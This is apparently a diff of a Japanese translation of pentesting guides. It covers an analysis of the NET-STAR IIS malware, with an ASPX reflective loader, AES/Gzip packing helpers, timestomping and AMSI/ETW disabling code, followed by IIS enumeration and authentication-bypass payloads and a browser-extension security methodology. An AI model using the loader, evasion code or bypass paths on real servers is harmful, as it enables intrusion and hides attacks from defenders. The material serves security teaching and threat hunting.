- Cookie‑scoped, encrypted C2 with multi‑stage packing: タスク／結果は Gzip → AES‑ECB/PKCS7 → Base64 でラップされ、一見正当な大量の Cookie を伴うリクエストで移動します。オペレータはチャンク切り分けのために安定したデリミタ（例: "STAR"）を使用していました。
- Reflective .NET execution: 任意の managed assembly を Base64 として受け取り、Assembly.Load(byte[]) でロードしてオペレータ引数を渡すことで、ディスクに触れずに素早くモジュール差し替えを行えます。
- Operating in precompiled ASP.NET sites: サイトが precompiled されている場合でも補助的な shells/backdoors を追加・管理できます（例: dropper が動的ページ／ハンドラを追加、または config ハンドラを利用）。bypassPrecompiledApp、addshell、listshell、removeshell といったコマンドで操作できます。
- Timestomping/metadata forgery: changeLastModified アクションを公開し、デプロイ時に timestomp（将来のコンパイルタイムスタンプを含む）を行って DFIR を妨げます。
- Optional AMSI/ETW pre‑disable for loaders: セカンドステージのローダは Assembly.Load を呼ぶ前に AMSI と ETW を無効化して、in‑memory ペイロードの検査を減らすことができます。
Minimal ASPX loader pattern
```aspx
<%@ Page Language="C#" %>
<%@ Import Namespace="System" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.IO.Compression" %>
<%@ Import Namespace="System.Reflection" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
// 1) Obtain payload bytes (hard‑coded blob or from request)
string b64 = /* hardcoded or Request["d"] */;
byte[] blob = Convert.FromBase64String(b64);
// optional: decrypt here if AES is used
using(var gz = new GZipStream(new MemoryStream(blob), CompressionMode.Decompress)){
using(var ms = new MemoryStream()){
gz.CopyTo(ms);
var asm = Assembly.Load(ms.ToArray());
// 2) Invoke the managed entry point (e.g., ServerRun.Run)
var t = asm.GetType("ServerRun");
var m = t.GetMethod("Run", BindingFlags.Public|BindingFlags.NonPublic|BindingFlags.Static|BindingFlags.Instance);
object inst = m.IsStatic ? null : Activator.CreateInstance(t);
m.Invoke(inst, new object[]{ HttpContext.Current });
}
}
}
</script>
```
パッキング/cryptoヘルパー (Gzip + AES‑ECB + Base64)
```csharp
using System.Security.Cryptography;
static byte[] AesEcb(byte[] data, byte[] key, bool encrypt){
using(var aes = Aes.Create()){
aes.Mode = CipherMode.ECB; aes.Padding = PaddingMode.PKCS7; aes.Key = key;
ICryptoTransform t = encrypt ? aes.CreateEncryptor() : aes.CreateDecryptor();
return t.TransformFinalBlock(data, 0, data.Length);
}
}
static string Pack(object obj, byte[] key){
// serialize → gzip → AES‑ECB → Base64
byte[] raw = Serialize(obj); // your TLV/JSON/msgpack
using var ms = new MemoryStream();
using(var gz = new GZipStream(ms, CompressionLevel.Optimal, true)) gz.Write(raw, 0, raw.Length);
byte[] enc = AesEcb(ms.ToArray(), key, true);
return Convert.ToBase64String(enc);
}
static T Unpack<T>(string b64, byte[] key){
byte[] enc = Convert.FromBase64String(b64);
byte[] cmp = AesEcb(enc, key, false);
using var gz = new GZipStream(new MemoryStream(cmp), CompressionMode.Decompress);
using var outMs = new MemoryStream(); gz.CopyTo(outMs);
return Deserialize<T>(outMs.ToArray());
}
```
Cookie/session フローとコマンドサーフェス
- Session bootstrap と tasking は、通常の Web アクティビティに溶け込ませるため cookies 経由で実行される。
- 実際に観測されたコマンドには次のものが含まれる: fileExist, listDir, createDir, renameDir, fileRead, deleteFile, createFile, changeLastModified; addshell, bypassPrecompiledApp, listShell, removeShell; executeSQLQuery, ExecuteNonQuery; および in‑memory .NET 実行のための動的実行プリミティブ code_self, code_pid, run_code。
Timestomping utility
```csharp
File.SetCreationTime(path, ts);
File.SetLastWriteTime(path, ts);
File.SetLastAccessTime(path, ts);
```
Assembly.Load の前に AMSI/ETW をインラインで無効化 (loader variant)
```csharp
// Patch amsi!AmsiScanBuffer to return E_INVALIDARG
// and ntdll!EtwEventWrite to a stub; then load operator assembly
DisableAmsi();
DisableEtw();
Assembly.Load(payloadBytes).EntryPoint.Invoke(null, new object[]{ new string[]{ /* args */ } });
```
See AMSI/ETW bypass techniques in: windows-hardening/av-bypass.md
ハンティングノート（防御側）
- 単一で奇妙な ASPX ページ、非常に長い Base64/Gzip ブロブを含む; cookie が多い POST。
- w3wp.exe 内の unbacked managed モジュール; `Encrypt/Decrypt (ECB)`, `Compress/Decompress`, `GetContext`, `Run` のような文字列。
- トラフィック中に "STAR" のような繰り返し区切り文字; ASPX/assemblies 上で不一致または将来のタイムスタンプ。
## 古い IIS 脆弱性 — 調査する価値のあるもの
### Microsoft IIS tilde character “\~” Vulnerability/Feature – Short File/Folder Name Disclosure
この手法を使うと、見つかった各フォルダ内（Basic Authentication が必要な場合でも）でフォルダやファイルを列挙（enumerate）できます。
サーバが脆弱な場合の主な制限は、各ファイル/フォルダ名の最初の最大6文字と、拡張子の最初の最大3文字しか見つけられないことです。
You can use [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) to test for this vulnerability:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
![](<../../images/image (844).png>)
元の研究：[https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf](https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf)
Original research: [https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf](https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf)
**metasploit**を使用することもできます：`use scanner/http/iis_shortname_scanner`
また **metasploit** を使用できます: `use scanner/http/iis_shortname_scanner`
発見されたファイルの**最終名を見つける**ための良いアイデアは、スクリプト[https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py](https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py)のように**LLMsにオプションを尋ねる**ことです。
検出したファイルの最終的な名前を見つける良いアイデアとしては、[https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py](https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py) のスクリプトで行っているように、LLMs に候補を出してもらうことです。
### Basic Authenticationバイパス
### Basic Authentication bypass
**バイパス**する基本認証（**IIS 7.5**）にアクセスしてみてください：`/admin:$i30:$INDEX_ALLOCATION/admin.php`または`/admin::$INDEX_ALLOCATION/admin.php`
**Bypass** a basic authentication (**IIS 7.5**) trying to access: `/admin:$i30:$INDEX_ALLOCATION/admin.php` or `/admin::$INDEX_ALLOCATION/admin.php`
この**脆弱性**と前のものを**組み合わせて**新しい**フォルダ**を見つけ、認証を**バイパス**することができます。
この脆弱性と前述の手法を**組み合わせて**新しい**フォルダ**を見つけたり、認証を**バイパス**したりすることができます。
## ASP.NET Trace.AXD有効なデバッグ
## ASP.NET Trace.AXD enabled debugging
ASP.NETにはデバッグモードが含まれており、そのファイルは`trace.axd`と呼ばれます。
ASP.NET にはデバッグモードがあり、そのファイルは `trace.axd` と呼ばれます。
これは、一定期間にアプリケーションに対して行われたすべてのリクエストの非常に詳細なログを保持します。
これは一定期間にアプリケーションへ行われたすべてのリクエストの非常に詳細なログを保持します。
この情報には、リモートクライアントのIP、セッションID、すべてのリクエストおよびレスポンスのクッキー、物理パス、ソースコード情報、さらにはユーザー名やパスワードが含まれる可能性があります。
この情報にはリモートクライアントの IP、セッション ID、すべてのリクエストおよびレスポンスの cookie、物理パス、ソースコード情報、場合によってはユーザー名やパスワードさえ含まれます。
[https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/](https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/)
![Screenshot 2021-03-30 at 13 19 11](https://user-images.githubusercontent.com/31736688/112974448-2690b000-915b-11eb-896c-f41c27c44286.png)
## ASPXAUTHクッキー
## ASPXAUTH Cookie
ASPXAUTHは次の情報を使用します：
ASPXAUTH は以下の情報を使用します:
- **`validationKey`**（文字列）：署名検証に使用する16進エンコードされたキー。
- **`decryptionMethod`**（文字列）：（デフォルトは「AES」）。
- **`decryptionIV`**（文字列）：16進エンコードされた初期化ベクトル（デフォルトはゼロのベクトル）。
- **`decryptionKey`**（文字列）：復号化に使用する16進エンコードされたキー。
- **`validationKey`** (string): 署名検証に使用される16進エンコードされたキー。
- **`decryptionMethod`** (string): （デフォルト “AES”）。
- **`decryptionIV`** (string): 16進エンコードされた初期化ベクタ（デフォルトはゼロベクトル）。
- **`decryptionKey`** (string): 復号に使用される16進エンコードされたキー。
ただし、一部の人々はこれらのパラメータの**デフォルト値**を使用し、**ユーザーのメールをクッキーとして使用**します。したがって、ASPXAUTHクッキーを使用している**同じプラットフォーム**のウェブを見つけ、攻撃対象のサーバーで**なりすましたいユーザーのメールでユーザーを作成**できれば、**2番目のサーバーのクッキーを最初のサーバーで使用**してユーザーになりすますことができるかもしれません。\
この攻撃はこの[**writeup**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19)で成功しました。
ただし、これらのパラメータの**デフォルト値**を使用し、かつ cookie として**ユーザーのメールアドレス**を使う実装もあります。したがって、ASPXAUTH cookie を使用している同じプラットフォームの別のサイトを見つけ、攻撃対象サーバ上で対象ユーザーのメールアドレスでアカウントを作成できれば、2つ目のサーバの cookie を最初のサーバで使ってそのユーザーになりすますことが可能かもしれません。
この攻撃はこの [**writeup**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19) で動作した例が示されています。
## キャッシュされたパスワードによるIIS認証バイパス (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
## IIS Authentication Bypass with cached passwords (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
[こちらに完全なレポートがあります](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html)：コードのバグにより、**ユーザーが提供したパスワードを適切にチェックしなかった**ため、**パスワードハッシュがキャッシュ内のキーにヒットする**攻撃者は、そのユーザーとしてログインできるようになります。
[Full report here](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): コードのバグにより、ユーザーが入力したパスワードを**正しく検証していなかった**ため、ある攻撃者の**password hash が既にキャッシュにあるキーに一致した場合**、その攻撃者はそのユーザーとしてログインできてしまいます。
```python
# script for sanity check
> type test.py
@ -261,4 +377,9 @@ HTTP/1.1 401 Unauthorized
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK
```
## 参考文献
- [Unit 42 – Phantom Taurus: A New Chinese Nexus APT and the Discovery of the NET-STAR Malware Suite](https://unit42.paloaltonetworks.com/phantom-taurus/)
- [AMSI/ETW bypass background (HackTricks)](../../windows-hardening/av-bypass.md)
{{#include ../../banners/hacktricks-training.md}}

417
src/pentesting-web/browser-extension-pentesting-methodology/README.md
View File

@ -1,43 +1,43 @@
# Browser Extension Pentesting Methodology
# ブラウザ拡張機能 Pentesting Methodology
{{#include ../../banners/hacktricks-training.md}}
## 基本情報
ブラウザ拡張機能はJavaScriptで書かれ、ブラウザによってバックグラウンドで読み込まれます。独自の[DOM](https://www.w3schools.com/js/js_htmldom.asp)を持っていますが、他のサイトのDOMと相互作用することができます。これは、他のサイトの機密性、完全性、可用性（CIA）を危険にさらす可能性があることを意味します。
ブラウザ拡張は JavaScript で書かれ、ブラウザによってバックグラウンドで読み込まれます。それは独自の [DOM](https://www.w3schools.com/js/js_htmldom.asp) を持ち、他サイトの DOM と相互作用できます。これは他サイトの機密性、完全性、可用性 (CIA) を侵害する可能性があることを意味します。
## 主なコンポーネント
拡張機能のレイアウトは視覚化されると最も良く見え、3つのコンポーネントで構成されています。それぞれのコンポーネントを詳しく見ていきましょう。
拡張機能の構成は視覚化すると分かりやすく、3つのコンポーネントで構成されます。それぞれを詳しく見ていきましょう。
<figure><img src="../../images/image (16) (1) (1).png" alt=""><figcaption><p><a href="http://webblaze.cs.berkeley.edu/papers/Extensions.pdf">http://webblaze.cs.berkeley.edu/papers/Extensions.pdf</a></p></figcaption></figure>
### **コンテンツスクリプト**
### **Content Scripts**
各コンテンツスクリプトは**単一のウェブページ**のDOMに直接アクセスでき、**潜在的に悪意のある入力**にさらされます。しかし、コンテンツスクリプトは拡張機能のコアにメッセージを送信する能力以外の権限を持っていません。
各 content script は **単一のウェブページ** の DOM に直接アクセスでき、そのため **潜在的に悪意のある入力** にさらされます。ただし、content script が持つ権限は extension core にメッセージを送る能力以外にありません。
### **拡張機能コア**
### **Extension Core**
拡張機能コアは、ほとんどの拡張機能の特権/アクセスを含んでいますが、拡張機能コアは[XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest)およびコンテンツスクリプトを介してのみウェブコンテンツと相互作用できます。また、拡張機能コアはホストマシンに直接アクセスすることはできません。
extension core は拡張機能のほとんどの権限／アクセスを含みますが、extension core が web コンテンツとやり取りできるのは [XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest) と content scripts を介した場合のみです。また、extension core はホストマシンへ直接アクセスできません。
### **ネイティブバイナリ**
### **Native Binary**
拡張機能は、**ユーザーの完全な権限でホストマシンにアクセスできるネイティブバイナリ**を許可します。ネイティブバイナリは、Flashや他のブラウザプラグインで使用される標準のNetscapeプラグインアプリケーションプログラミングインターフェース（[NPAPI](https://en.wikipedia.org/wiki/NPAPI)）を介して拡張機能コアと相互作用します。
拡張機能は **ユーザーの完全な権限でホストマシンにアクセスする** ネイティブバイナリを許可する場合があります。ネイティブバイナリは Flash などのブラウザプラグインで使われる標準的な Netscape Plugin Application Programming Interface ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) を通じて extension core とやり取りします。
### 境界
### Boundaries
> [!CAUTION]
> ユーザーの完全な権限を取得するために、攻撃者は拡張機能にコンテンツスクリプトから拡張機能のコアへの悪意のある入力を渡すように説得し、拡張機能のコアからネイティブバイナリへの悪意のある入力を渡す必要があります。
> ユーザーの完全な権限を得るために、攻撃者は extension に content script から extension の core へ、そして extension の core から native binary へ悪意のある入力を渡すよう仕向ける必要があります。
拡張機能の各コンポーネントは、**強力な保護境界**によって互いに分離されています。各コンポーネントは**別々のオペレーティングシステムプロセス**で実行されます。コンテンツスクリプトと拡張機能コアは、ほとんどのオペレーティングシステムサービスに利用できない**サンドボックスプロセス**で実行されます。
拡張機能の各コンポーネントは互いに **強固な保護境界** で分離されています。各コンポーネントは **別々のオペレーティングシステムプロセス** として実行されます。Content scripts と extension cores は、ほとんどの OS サービスからアクセスできない **サンドボックスプロセス** で実行されます。
さらに、コンテンツスクリプトは**別のJavaScriptヒープで実行されることによって、関連するウェブページから分離されています**。コンテンツスクリプトとウェブページは**同じ基盤となるDOMにアクセスできますが**、2つは**JavaScriptポインタを交換することは決してありません**。これにより、JavaScript機能の漏洩が防止されます。
さらに、content scripts は関連するウェブページと **別の JavaScript ヒープで実行される** ことで分離されています。content script とウェブページは **同じ基盤となる DOM にアクセス** できますが、両者は **決して JavaScript ポインタを交換しません**。これにより JavaScript 機能の leaking を防ぎます。
## **`manifest.json`**
Chrome拡張機能は、単に[.crxファイル拡張子](https://www.lifewire.com/crx-file-2620391)を持つZIPフォルダーです。拡張機能のコアは、フォルダーのルートにある**`manifest.json`**ファイルで、レイアウト、権限、その他の設定オプションを指定します。
A Chrome extension は [.crx file extension](https://www.lifewire.com/crx-file-2620391) を持つ ZIP フォルダに過ぎません。拡張機能のコアはフォルダのルートにある **`manifest.json`** ファイルで、レイアウト、権限、その他の設定オプションを指定します。
例:
例：
```json
{
"manifest_version": 2,
@ -61,7 +61,7 @@ Chrome拡張機能は、単に[.crxファイル拡張子](https://www.lifewire.c
```
### `content_scripts`
コンテンツスクリプトは、ユーザーが**一致するページに移動する**たびに**読み込まれ**、この場合は**`https://example.com/*`**式に一致し、**`*://*/*/business*`**正規表現に一致しない任意のページです。これらは**ページ自身のスクリプトのように**実行され、ページの[Document Object Model (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model)に対して任意のアクセス権を持っています。
コンテンツスクリプトは、ユーザーが**一致するページへ移動する**たびに**読み込まれます**。この場合、**`https://example.com/*`** の式に一致し、**`*://*/*/business*`** の正規表現には一致しない任意のページが該当します。これらは**ページ自身のスクリプトのように実行され**、ページの [Document Object Model (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model) に任意にアクセスできます。
```json
"content_scripts": [
{
@ -76,9 +76,9 @@ Chrome拡張機能は、単に[.crxファイル拡張子](https://www.lifewire.c
}
],
```
より多くのURLを含めたり除外したりするために、**`include_globs`** と **`exclude_globs`** を使用することも可能です。
より多くの URL を含めたり除外したりするには、**`include_globs`** と **`exclude_globs`** を使用することも可能です。
これは、[ストレージAPI](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage)を使用して拡張機能のストレージから`message`値を取得する際に、ページに説明ボタンを追加する例のコンテンツスクリプトです。
以下は、[the storage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) を使用して拡張機能のストレージから `message` 値を取得したときに、ページに explain ボタンを追加する例の content script です。
```js
chrome.storage.local.get("message", (result) => {
let div = document.createElement("div")
@ -91,24 +91,24 @@ document.body.appendChild(div)
```
<figure><img src="../../images/image (23).png" alt=""><figcaption></figcaption></figure>
このボタンがクリックされると、コンテンツスクリプトによって拡張ページにメッセージが送信されます。これは、[**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage)を利用するためです。これは、コンテンツスクリプトがAPIに直接アクセスする制限があるためで、`storage`が数少ない例外の一つです。これらの例外を超える機能については、コンテンツスクリプトが通信できる拡張ページにメッセージが送信されます。
このボタンがクリックされると、コンテンツスクリプトは[**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage)を利用して拡張機能ページにメッセージを送信します。これは、コンテンツスクリプトが直接アクセスできるAPIに制限があり、`storage` が数少ない例外の一つであるためです。これらの例外を超える機能については、コンテンツスクリプトがやり取りできる拡張機能ページへメッセージが送られます。
> [!WARNING]
> ブラウザによって、コンテンツスクリプトの機能は若干異なる場合があります。Chromiumベースのブラウザの場合、機能リストは[Chrome Developers documentation](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities)で入手可能で、Firefoxの場合は[MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis)が主な情報源となります。\
> また、コンテンツスクリプトはバックグラウンドスクリプトと通信する能力があり、これによりアクションを実行し、応答を返すことができます。
> ブラウザによっては、コンテンツスクリプトの機能が若干異なることがあります。Chromium-based browsers の機能一覧は[Chrome Developers documentation](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities)に、Firefoxについては主要な情報源として[MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis)が参照できます。\
> また、コンテンツスクリプトはバックグラウンドスクリプトと通信でき、動作を実行したり応答を受け取ったりできる点にも注意してください。
Chromeでコンテンツスクリプトを表示およびデバッグするには、オプション > その他のツール > デベロッパーツールからChromeデベロッパーツールメニューにアクセスするか、Ctrl + Shift + Iを押します。
Chromeでコンテンツスクリプトを表示・デバッグするには、Chrome developer tools メニューを Options > More tools > Developer tools から開くか、Ctrl + Shift + I を押します。
デベロッパーツールが表示されたら、**ソースタブ**をクリックし、次に**コンテンツスクリプト**タブをクリックします。これにより、さまざまな拡張機能から実行中のコンテンツスクリプトを観察し、実行フローを追跡するためのブレークポイントを設定できます。
デベロッパーツールが表示されたら、**Source tab**をクリックし、続けて**Content Scripts**タブを選択します。これにより、様々な拡張機能で実行中のコンテンツスクリプトを確認し、ブレークポイントを設定して実行フローを追跡できます。
### 注入されたコンテンツスクリプト
### Injected content scripts
> [!TIP]
> **コンテンツスクリプトは必須ではない**ことに注意してください。**動的に**スクリプトを**注入**したり、**プログラム的に注入**することも可能です。これは、**`tabs.executeScript`**を介して行われます。これにより、より**詳細な制御**が可能になります。
> **Content Scripts は必須ではありません**。スクリプトを動的に注入したり、`tabs.executeScript` を通じてプログラム的にページへ注入することも可能です。これにより、より細かな制御が可能になります。
コンテンツスクリプトをプログラム的に注入するには、拡張機能がスクリプトを注入するページに対して[ホスト権限](https://developer.chrome.com/docs/extensions/reference/permissions)を持っている必要があります。これらの権限は、拡張機能のマニフェスト内で**要求する**か、[**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab)を介して一時的に取得することができます。
コンテンツスクリプトをプログラム的に注入するには、拡張機能がスクリプトを注入するページに対する [host permissions](https://developer.chrome.com/docs/extensions/reference/permissions) を持っている必要があります。これらの権限は、拡張のマニフェスト内で**要求する**か、[**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab) を経由して一時的に取得できます。
#### activeTabベースの拡張機能の例
#### activeTab を使った拡張機能の例
```json:manifest.json
{
"name": "My extension",
@ -125,7 +125,7 @@ Chromeでコンテンツスクリプトを表示およびデバッグするに
}
}
```
- **クリックでJSファイルをインジェクトする:**
- **クリック時にJSファイルを注入する:**
```javascript
// content-script.js
document.body.style.backgroundColor = "orange"
@ -138,7 +138,7 @@ files: ["content-script.js"],
})
})
```
- **クリック時に関数を注入する**:
- **Inject a function**（クリック時）:
```javascript
//service-worker.js - Inject a function
function injectedFunction() {
@ -152,7 +152,7 @@ func: injectedFunction,
})
})
```
#### スクリプト権限の例
#### スクリプト実行権限の例
```javascript
// service-workser.js
chrome.scripting.registerContentScripts([
@ -167,19 +167,19 @@ js: ["contentScript.js"],
// Another example
chrome.tabs.executeScript(tabId, { file: "content_script.js" })
```
URLを追加または除外するために、**`include_globs`** と **`exclude_globs`** を使用することも可能です。
より多くの URL を含めたり除外したりするには、**`include_globs`** および **`exclude_globs`** を使用することもできます。
### コンテンツスクリプト `run_at`
`run_at` フィールドは **JavaScriptファイルがウェブページに挿入されるタイミング** を制御します。推奨されるデフォルト値は `"document_idle"` です。
`run_at` フィールドは **JavaScript ファイルがウェブページに注入されるタイミング** を制御します。推奨かつデフォルトの値は "document_idle" です。
可能な値は次の通りです：
設定可能な値は次の通りです：
- **`document_idle`**: 可能な限り
- **`document_start`**: `css` からのファイルの後、しかし他のDOMが構築される前や他のスクリプトが実行される前。
- **`document_end`**: DOMが完了した直後ですが、画像やフレームなどのサブリソースが読み込まれる前。
- **`document_start`**: `css` のファイルの後、しかし他の DOM が構築されたり他のスクリプトが実行されたりする前に。
- **`document_end`**: DOM が完成した直後、ただし画像やフレームなどのサブリソースが読み込まれる前に。
#### `manifest.json` を介して
#### `manifest.json` 経由
```json
{
"name": "My extension",
@ -195,7 +195,7 @@ URLを追加または除外するために、**`include_globs`** と **`exclude_
}
```
**`service-worker.js`**を介して
経由 **`service-worker.js`**
```javascript
chrome.scripting.registerContentScripts([
{
@ -208,18 +208,18 @@ js: ["contentScript.js"],
```
### `background`
コンテンツスクリプトによって送信されたメッセージは、**background page**によって受信され、拡張機能のコンポーネントを調整する中心的な役割を果たします。特に、background pageは拡張機能のライフタイムを通じて持続し、ユーザーの直接的な操作なしに静かに動作します。独自のDocument Object Model (DOM)を持ち、複雑な相互作用と状態管理を可能にします。
コンテンツスクリプトから送信されたメッセージは**バックグラウンドページ**で受信され、拡張機能のコンポーネント間の調整において中心的な役割を果たします。特に、バックグラウンドページは拡張機能のライフタイム全体で持続し、直接ユーザーとやり取りすることなく静かに動作します。独自の Document Object Model（DOM）を持っており、複雑な相互作用や状態管理を可能にします。
**重要なポイント**:
**主なポイント**:
- **Background Pageの役割:** 拡張機能の神経中枢として機能し、拡張機能のさまざまな部分間の通信と調整を確保します。
- **持続性:** ユーザーには見えないが、拡張機能の機能に不可欠な常に存在するエンティティです。
- **自動生成:** 明示的に定義されていない場合、ブラウザは自動的にbackground pageを作成します。この自動生成されたページには、拡張機能のマニフェストに指定されたすべてのバックグラウンドスクリプトが含まれ、拡張機能のバックグラウンドタスクのシームレスな操作を確保します。
- **バックグラウンドページの役割:** 拡張機能の中枢として機能し、拡張機能の各部分間の通信と調整を確実にします。
- **永続性:** ユーザーには見えない常在する存在であり、拡張機能の機能に不可欠です。
- **自動生成:** 明示的に定義されていない場合、ブラウザはバックグラウンドページを自動的に作成します。この自動生成されたページには、拡張機能のmanifestで指定されたすべてのバックグラウンドスクリプトが含まれ、拡張機能のバックグラウンドタスクがシームレスに動作することを保証します。
> [!TIP]
> 明示的に宣言されていない場合にブラウザが自動的にbackground pageを生成することによって提供される便利さは、すべての必要なバックグラウンドスクリプトが統合され、機能することを保証し、拡張機能のセットアッププロセスを簡素化します。
> ブラウザがバックグラウンドページを（明示的に宣言されていない場合に）自動生成してくれる便利さにより、必要なすべてのバックグラウンドスクリプトが統合されて動作し、拡張機能のセットアップが簡素化されます。
Example background script:
バックグラウンドスクリプトの例:
```js
chrome.runtime.onMessage.addListener((request, sender, sendResponse) => {
if (request == "explain") {
@ -227,34 +227,35 @@ chrome.tabs.create({ url: "https://example.net/explanation" })
}
})
```
それは、[runtime.onMessage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage)を使用してメッセージをリッスンします。`"explain"`メッセージを受信すると、[tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs)を使用して新しいタブでページを開きます。
It uses [runtime.onMessage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage) to listen to messages. When an `"explain"` message is received, it uses [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) to open a page in a new tab.
バックグラウンドスクリプトをデバッグするには、**拡張機能の詳細に移動してサービスワーカーを検査**することができます。これにより、バックグラウンドスクリプトを含む開発者ツールが開きます：
To debug the background script you could go to the **extension details and inspect the service worker,** this will open the developer tools with the background script:
<figure><img src="https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/browser-extension-pentesting-methodology/broken-reference" alt=""><figcaption></figcaption></figure>
### オプションページとその他
### Options pages and other
ブラウザ拡張機能にはさまざまな種類のページが含まれることがあります：
Browser extensions can contain various kinds of pages:
- **アクションページ**は、**拡張機能のアイコン**がクリックされたときにドロップダウンで表示されます。
- 拡張機能が**新しいタブで読み込む**ページ。
- **オプションページ**：このページはクリックされたときに拡張機能の上に表示されます。前のマニフェストでは、`chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca`でこのページにアクセスできました。または、クリックすることで：
- **Action pages** are displayed in a **drop-down when the extension ico**n is clicked.
- Pages that the extension will **load in a new tab**.
- **Option Pages**: This page displays on top of the extension when clicked. In the previous manifest In my case I was able to access this page in `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` or clicking:
<figure><img src="../../images/image (24).png" alt="" width="375"><figcaption></figcaption></figure>
これらのページは、必要に応じて動的にコンテンツを読み込むため、バックグラウンドページのように永続的ではないことに注意してください。それにもかかわらず、これらはバックグラウンドページと特定の機能を共有します：
Note that these pages aren't persistent like background pages as they load dynamically content on necessity. Despite this, they share certain capabilities with the background page:
- **コンテンツスクリプトとの通信**：バックグラウンドページと同様に、これらのページはコンテンツスクリプトからメッセージを受信でき、拡張機能内での相互作用を促進します。
- **拡張機能固有のAPIへのアクセス**：これらのページは、拡張機能に定義された権限に従って、拡張機能固有のAPIへの包括的なアクセスを享受します。
- **Communication with Content Scripts:** Similar to the background page, these pages can receive messages from content scripts, facilitating interaction within the extension.
- **Access to Extension-Specific APIs:** These pages enjoy comprehensive access to extension-specific APIs, subject to the permissions defined for the extension.
### `permissions` & `host_permissions`
**`permissions`**と**`host_permissions`**は、`manifest.json`のエントリで、**ブラウザ拡張機能がどの権限**（ストレージ、位置情報など）を持っているか、**どのウェブページ**であるかを示します。
**`permissions`** and **`host_permissions`** are entries from the `manifest.json` that will indicate **which permissions** the browser extensions has (storage, location...) and in **which web pages**.
ブラウザ拡張機能は非常に**特権的**であるため、悪意のあるものや侵害されたものは、攻撃者に**機密情報を盗んだり、ユーザーを監視するためのさまざまな手段を提供する可能性があります**。
As browser extensions can be so **privileged**, a malicious one or one being compromised could allow the attacker **different means to steal sensitive information and spy on the user**.
Check how these settings work and how they could get abused in:
これらの設定がどのように機能し、どのように悪用される可能性があるかを確認してください：
{{#ref}}
browext-permissions-and-host_permissions.md
@ -262,13 +263,14 @@ browext-permissions-and-host_permissions.md
### `content_security_policy`
**コンテンツセキュリティポリシー**は、`manifest.json`内にも宣言できます。定義されている場合、それは**脆弱**である可能性があります。
A **content security policy** can be declared also inside the `manifest.json`. If there is one defined, it could be **vulnerable**.
ブラウザ拡張機能ページのデフォルト設定はかなり制限されています：
The default setting for browser extension pages is rather restrictive:
```bash
script-src 'self'; object-src 'self';
```
CSPや潜在的なバイパスに関する詳細は以下を確認してください：
CSP と potential bypasses の詳細については次を参照してください:
{{#ref}}
../content-security-policy-csp-bypass/
@ -276,8 +278,8 @@ CSPや潜在的なバイパスに関する詳細は以下を確認してくだ
### `web_accessible_resources`
ウェブページがブラウザ拡張のページ、例えば`.html`ページにアクセスするためには、このページが`manifest.json`の**`web_accessible_resources`**フィールドに記載されている必要があります。\
例えば：
ウェブページが Browser Extension のページ（例えば `.html` ページ）にアクセスするには、そのページが `manifest.json` の **`web_accessible_resources`** フィールドに記載されている必要があります。\
例えば:
```javascript
{
...
@ -294,71 +296,72 @@ CSPや潜在的なバイパスに関する詳細は以下を確認してくだ
...
}
```
これらのページは次のようなURLでアクセス可能です:
これらのページは次のような URL でアクセスできます:
```
chrome-extension://<extension-id>/message.html
```
公共拡張機能では、**extension-idがアクセス可能**です：
公開された拡張機能では、**extension-idにアクセスできます**:
